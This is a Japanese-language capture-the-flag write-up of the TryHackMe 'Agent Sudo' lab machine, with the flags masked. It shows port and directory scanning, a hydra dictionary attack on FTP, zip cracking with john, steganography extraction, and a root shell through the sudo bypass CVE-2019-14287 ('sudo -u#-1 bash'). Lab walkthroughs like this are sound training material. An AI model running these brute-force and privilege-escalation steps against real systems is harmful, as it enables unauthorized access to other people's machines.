一部を■で隠しています。
Task2: Enumerate
とりあえずnmapとgobusterしよう。
$ export IP=10.10.149.81 $ nmap -sC -sV $IP 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) $ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt http://$IP/index.php (Status: 200)
最初の問題は解けるが、他はない。特にめぼしい情報がない。
とりあえず/index.php
にアクセスしてみると、なんとなくわかる。
ヒントと文字数を参考に答えを埋めていこう。
User-Agentに何を入れればいいか分からないな。Burpで辞書攻撃してみよう。
common.txtを使う。
Cが刺さりますね。Locationが追加されるのでアクセスしてみると、agent名が分かる。
Task3: Hash cracking and brute-force
FTPパスワードを特定しないといけないので、hydraで辞書攻撃してみよう。
$ hydra -l chris -P /usr/share/dirb/wordlists/rockyou.txt $IP ftp [21][ftp] host: 10.10.149.81 login: chris password: ■■■■■■■ > ftp $IP ftp> ls To_agentJ.txt cute-alien.jpg cutie.png ftp> get To_agentJ.txt ftp> get cute-alien.jpg ftp> get cutie.png
ログインできたので、全部持ってきてみる。
Agent R stored the real picture inside your directory.
とファイルに書いてあるので、画像をステガノグラフィーする。
cutie.pngをAoZoraSiroNekoで解析すると、zipが埋め込まれているみたい。
binwalkで探して持ってくると、パスワード付きzipなのでjohn the ripperで解析して、解凍しよう。
$ binwalk cutie.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 528 x 528, 8-bit colormap, non-interlaced 869 0x365 Zlib compressed data, best compression 34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt 34820 0x8804 End of Zip archive, footer length: 22 $ dd ibs=1 obs=1 skip=34562 if=cutie.png of=hidden.zip $ zip2john hidden.zip > hash.txt $ john hash.txt ■■■■■■ (hidden.zip/To_agentR.txt)
ok. We need to send the picture to '■■■■■' as soon as possible!
お?と思ったが、これはsteg passwordではないらしい。
いや、これだろと思って止まってしまった。
…
base64デコードすれば答えが得られます…
stegのパスワードということで、とりあえず自分の知っているsteghideを試すとデータが取れる。
$ steghide extract -sf cute-alien.jpg -p ■■■■■ wrote extracted data to "message.txt".
よーし、SSHで接続できそうな所まで来た
Task4: Capture the user flag
でここからSSH接続ができずに2年が経過する。
…
パスワードは最後の!も込みで必要。
!なくてもCorrect Answerだったんですが…
まあ、気を取り直してログイン。
$ ssh james@$IP james@agent-sudo:~$ ls Alien_autospy.jpg user_flag.txt james@agent-sudo:~$ cat user_flag.txt ■■■■■■■■ $ scp james@$IP:Alien_autospy.jpg out.jpg
画像があるので、持ってくる。
全く見覚えが無いので、画像検索してみると、FOX NEWSの記事が見つかる。
Filmmaker reveals how he faked infamous 'Roswell alien autopsy' footage in a London apartment | Fox News
ok.
Task5: Privilege escalation
privilege-escalation-awesome-scripts-suite/linPEAS at master · carlospolop/privilege-escalation-awesome-scripts-suite · GitHubを使ってみるが、うまく出てこない。
いつものようにやってみる。
$ sudo -l [sudo] password for james: Matching Defaults entries for james on agent-sudo: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User james may run the following commands on agent-sudo: (ALL, !root) /bin/bash
なんかあまり見ない形になっている。(ALL, !root) /bin/bash
で検索するとCVE-2019-14287
が出てくる。
sudo 1.8.27 - Security Bypass - Linux local Exploit
あとは使うと一直線
james@agent-sudo:~$ id uid=1000(james) gid=1000(james) groups=1000(james),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd) james@agent-sudo:~$ sudo -u#-1 bash root@agent-sudo:/home# id uid=0(root) gid=1000(james) groups=1000(james) root@agent-sudo:~# cd /root root@agent-sudo:/root# ls root.txt root@agent-sudo:/root# cat root.txt To Mr.hacker, Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. Your flag is ■■■■■■■■■■■■■■■ By, ■■■■■■■ a.k.a Agent R